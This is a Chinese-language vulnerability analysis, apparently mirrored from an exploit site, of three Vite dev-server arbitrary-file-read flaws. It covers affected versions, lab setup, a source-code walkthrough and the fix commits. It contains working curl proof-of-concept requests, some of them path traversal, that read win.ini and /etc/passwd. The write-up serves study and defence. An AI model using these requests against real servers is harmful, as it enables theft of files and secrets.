Share
## https://sploitus.com/exploit?id=511EC0F1-CA28-53A0-959B-779991C4F308
# CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486

# 1. 漏洞概述

CVE-2025-30208, CVE-2025-31125和CVE-2025-31486是Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,通过fs模块读取服务器上的敏感文件。上述三个漏洞可以算作是一个系列的漏洞,因为造成漏洞的原因非常相似。

CVE-2025-30208影响版本如下所示
```
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
```

CVE-2025-31125影响版本如下所示
```
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
```

CVE-2025-31486影响版本如下所示
```
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
```

# 2 环境搭建
本地从0开始搭建漏洞环境的话首先通过`create-vite`创建项目
```shell
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
```
此时生成的 package.json 中 Vite 版本可能包含 ^ 符号(如 "vite": "^6.2.0"),需手动修改为精确版本号(如 "vite": "6.2.0"),再执行:
```shell
npm install
```
最后启动环境即可:
```shell
npm run dev
```
当然也可以直接利用本仓库下的`vuln-env`文件夹,`npm install`之后`npm run dev`即可。

# 3. 漏洞复现
为了方便,三个漏洞的复现都是在6.2.0版本进行的。执行`npm run dev`, 等待环境启动。
![](resources/image_1.png)

CVE-2025-30208 POC
```
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"

curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"
```
![](resources/image_2.png)

CVE-2025-31125 POC 
```
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"

curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
```

![](resources/image_3.png)
读取的内容是经过base64编码后,解码后可得原始文件内容。
![](resources/image_4.png)

CVE-2025-31486 POC
```
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"

curl  "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
```
通报中所提到的通过相对路径读取的POC如下
```
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
```

x表示本地项目的路径,本地测试poc如下
```
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
```

可以看到POC基本分为两类,不需要添加HTTP Header的都要存在`?import&`,这里先按下不表,在源码分析阶段会做说明。

# 4. 源码分析
## 4.1 CVE-2025-30208
分析源码需要调试,这里通过vscode调试项目,`launch.json`文件的内容如下。
```json
{
    "version": "0.1.0",
    "configurations": [
      {
        "type": "node",
        "request": "launch",
        "name": "Debug Vite & Node Modules",
        "runtimeExecutable": "npm",
        "runtimeArgs": ["run", "dev"],
        "skipFiles": ["<node_internals>/**"],
      }
    ]
  }
```
从官方的修补方案来看,是对`transformMiddleware`函数中针对URL格式检测和判断服务是否能够访问的if语句做了加强,那么断点下在`transformMiddleware`函数,跟一下请求的解析过程。
![](resources/image_5.png)

因为创建出来的项目只有编译后的js文件,所以直接全文件搜索函数关键字添加断点。
![](resources/image_6.png)

打一下POC,成功断在了目标函数。可以看到,经过一些变量的赋值之后,调用过程进入`viteTransformMiddleware`函数,在判断请求方法是否是`GET`以及请求的是否是根目录以及icon之后,url经过`removeTimestampQuery`被抹除了末尾的`?`。
```
/@fs/c:/windows/win.ini?import&raw??
                  ⬇
/@fs/c:/windows/win.ini?import&raw?
```

通过`cleanUrl()`来获取不包含请求参数的URL,此时`withoutQuery`的值为`"/@fs/c:/windows/win.ini"`,因此不会进入`if (!isSourceMap)`代码段。紧接着通过`publicDirInRoot`判断静态资源目录是否被配置在项目根目录下,`url.startsWith(publicPath)`检查请求的URL是否以配置的公共路径(如/public/)开头。当两个条件同时满足时,调用`warnAboutExplicitPublicPathInUrl(url)`发出警告。这通常表示开发者可能在代码中错误地重复添加了公共路径。URL并不符合条件,因此也跳过了对应的代码段。`rawRE.test(url)`和`urlRE.test(url)`的结果都是False,因此不会判断`ensureServingAccess()`的结果而直接把逻辑表达式的结果设置为False,跳过代码段。在紧接着的if判断中,URL符合`ImportQueryRE`所定义的正则形式而进入if代码段内容,URL经过`removeImportQuery()`函数变更为`/@fs/c:/windows/win.ini?raw`,送入`transformRequest()`函数。
```
/@fs/c:/windows/win.ini?import&raw?
                  ⬇
/@fs/c:/windows/win.ini?raw
```
在判断`isJSRequest(url)`的if语句中,可以看到他还判断了HTTP Header的`sec-fetch-dest`值是否是`script`,如果是则同样可以通过判断,这也就是在前文提到的POC基本分为两类的原因,添加HTTP Header和`?import&`都是为了通过if语句的判断。(其实用其他方法也可以通过判断,比如通过`isHTMLProxy(url)` -> `/@fs/c:/windows/win.ini?html-proxy&raw??`)
![](resources/image_7.png)

经过参数处理、环境检查、​缓存键与重复请求检测之后,进入`doTransform​()`函数。
![](resources/image_8.png)

经过缓存有效性检查之后URL`/@fs/c:/windows/win.ini?raw`被解析后得到ID`c:/windows/win.ini?raw`​,然后进入`loadAndTransform()`函数。

![](resources/image_9.png)

同样经过一些赋值操作之后,根据id的值来加载插件。插件的加载顺序如下所示
```
vite:optimized-deps
        ↓
vite:modulepreload-polyfill
        ↓
vite:resolve
        ↓
vite:html-inline-proxy
        ↓
vite:css
        ↓
vite:wasm-helper
        ↓
vite:worker
        ↓
vite:asset
```
![](resources/image_10.png)

CVE-2025-30208的成因是攻击者精心构造的URL被解析和处理后通过了`assetPlugin`插件`if (rawRE.test(id))`的判断,被送入`fsp.readFile()`函数导致了本地文件的读取。
![](resources/image_11.png)

## 4.2 CVE-2025-31125
CVE-2025-31125的成因则是URL被解析后满足了`wasmHelperPlugin`插件的`id.endsWith(".wasm?init")`条件,被送入`fileToUrl$1()`函数,并且满足`inlineRE$2.test(id)`后送入`fsp.readFile()`函数导致了本地文件的读取。
![](resources/image_12.png)

## 4.3 CVE-2025-31486
CVE-2025-31486和CVE-2025-31125非常类似,从CVE-2025-31125的分析图中可以看到,`fileToDevUrl()`函数中一共只有两个包含正则判断的if语句,`inlineRE$2.test(id)`所在的if代码段是CVE-2025-31125的触发位置,紧随其后的`svgExtRE.test(id)`if代码段就是CVE-2025-31486的触发位置。

而相对路径的利用方法则是绕过了`ensureServingAccess()`的校验。
![](resources/image_18.png)
url进入`isFileServingAllowed()`函数之后首先会被`fsPathFromUrl()`中的`cleanUrl()`去除`?#`及之后的内容,那么对于POC中的url就会发生如下变化
```
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt
    
    ⬇

D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/
```
然后Url进入`isFileLoadingAllowed()`中的`isUriFilePath()`进行校验,并在之后通过`isParentDirectory()`的判断。

![](resources/image_19.png)

# 5. 漏洞修复
## 5.1 CVE-2025-30208
从修复提交commit`262b5ec`来看,官方采取的修复方式是清除参数末尾多余的`?`,那么参数在面对`if ((rawRE.test(...) || urlRE.test(...)) && !ensureServingAccess(...)) `时就会因为`rawRE.test()`成功匹配而使得能够正常进入`ensureServingAccess()`,进而来验证服务是否允许访问,避免了修复前由于逻辑表达式短路而引起的未授权读取。
![](resources/image_13.png)

## 5.2 CVE-2025-31125
从修复提交Commit`5967313`来看,官方添加了正则`inlineRE`,那么对于`?inline=1.wasm?init`就会被正则匹配到,然后正常进入`ensureServingAccess()`判断服务是否可以访问。
![](resources/image_14.png)

## 5.3 CVE-2025-31486
从修复提交Commit`62d7e81`来看,官方的修复主要包含两个部分,第一部分则是为了处理`.svg`绕过而新增了一个`svgRE`的正则匹配。
![](resources/image_15.png)

第二部分则是为了处理相对路径读取而将参数`id`清理之后再送入`svgRe.test()`,使得参与`svgRe.test()`检测的参数与参与`file`拼接的参数保持一致。
![](resources/image_16.png)